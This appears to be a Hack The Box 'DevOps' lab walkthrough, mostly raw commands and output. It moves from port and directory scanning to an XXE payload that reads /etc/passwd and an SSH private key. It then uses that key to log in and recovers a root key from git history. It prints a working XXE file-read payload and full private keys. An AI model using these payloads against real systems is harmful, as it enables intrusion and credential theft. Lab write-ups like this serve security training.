XML INJECTION

GIT LOG

GIT SHOW

```
PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)

|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)

|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)

5000/tcp open  http    Gunicorn 19.7.1

|_http-server-header: gunicorn/19.7.1

|_http-title: Site doesn't have a title (text/html; charset=utf-8).
```

```
root@kali:/home/kali/Desktop/hackthebox/devops# gobuster dir -u http://devops.htb:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php

/feed (Status: 200)
```

/upload (Status: 200

http://devops.htb:5000/upload

XML INJECTION

```
root@kali:/home/kali/Desktop/hackthebox/devops# cat 1.xml

<?xml version="1.0"?>

  <!DOCTYPE foo [

   <!ELEMENT foo ANY >

   <!ENTITY xxe SYSTEM "file:///etc/passwd" >

  ]>

  <feed>

    <Author>raj</Author>

    <Subject>chandel</Subject>

    <Content>&xxe;</Content>

  </feed>
```

UPLOAD AND INTERCEPT WITH BURP

REQUEST

```
POST /upload HTTP/1.1
Host: devops.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://devops.htb:5000/upload
Content-Type: multipart/form-data; boundary=---------------------------17508348963364115111247615346
Content-Length: 431
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------17508348963364115111247615346
Content-Disposition: form-data; name="file"; filename="1.xml"
Content-Type: text/xml
<?xml version="1.0"?>

 <!DOCTYPE foo [

  <!ELEMENT foo ANY >

  <!ENTITY xxe SYSTEM "file:///etc/passwd" >

 ]>

 <feed>

   <Author>raj</Author>

   <Subject>chandel</Subject>

   <Content>&xxe;</Content>

 </feed>



-----------------------------17508348963364115111247615346—
```

RESPONSE

```
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Fri, 03 Jul 2020 18:14:09 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2584
 PROCESSED BLOGPOST:
  Author: raj
 Subject: chandel
 Content: root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false
```

```
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
```

URL for later reference: /uploads/1.xml
File path: /home/roosa/deploy/src

```
root@kali:/home/kali/Desktop/hackthebox/devops# cat 1.xml
<?xml version="1.0"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >
  ]>
  <feed>
    <Author>raj</Author>
    <Subject>chandel</Subject>
    <Content>&xxe;</Content>
  </feed>
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
```

```
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R

KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v

vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0

8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn

y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl

aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG

xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq

82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
```

```
-----END RSA PRIVATE KEY-----

root@kali:/home/kali/Desktop/hackthebox/devops# ssh -i id_rsa roosa@devops.htb


USER SHELL GAINED!!!!!!!

roosa@gitter:~/work/blogfeed$ cat run-gunicorn.sh

#!/bin/sh


export FLASK_APP=feed.py

export WERKZEUG_DEBUG_PIN=151237652

gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

roosa@gitter:~/work/blogfeed/resources$ ls -la

total 12

drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 .

drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 ..

drwxrwx--- 2 roosa roosa 4096 Mar 19  2018 integration

roosa@gitter:~/work/blogfeed/resources$ git log

commit 7ff507d029021b0915235ff91e6a74ba33009c6d

Author: Roosa Hakkerson <roosa@solita.fi>

Date:   Mon Mar 26 06:13:55 2018 -0400


    Use Base64 for pickle feed loading


commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
```

```
Author: Roosa Hakkerson <roosa@solita.fi>

Date:   Tue Mar 20 15:37:00 2018 -0400


    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.


commit cec54d8cb6117fd7f164db142f0348a74d3e9a70

Author: Roosa Hakkerson <roosa@solita.fi>

Date:   Tue Mar 20 15:08:09 2018 -0400


    Debug support added to make development more agile.


commit ca3e768f2434511e75bd5137593895bd38e1b1c2


roosa@gitter:~/work/blogfeed/resources$ git show d387abf63e05c9628a59195cec9311751bdb283f

+-----BEGIN RSA PRIVATE KEY-----

+MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde

+8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i

+vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK

+nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+

+CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c

+F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH

+uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL

+gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD

+k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy

+NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM

+HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa

+2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB

+GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG

+jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41

+IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
```

```
++XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW

+7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj

+Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS

+iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7

+VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX

+S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6

+md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie

+LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz

+oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw

+LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=

+-----END RSA PRIVATE KEY-----


root@kali:/home/kali/Desktop/hackthebox/devops# ssh -i id_rsa_2 root@devops.htb
```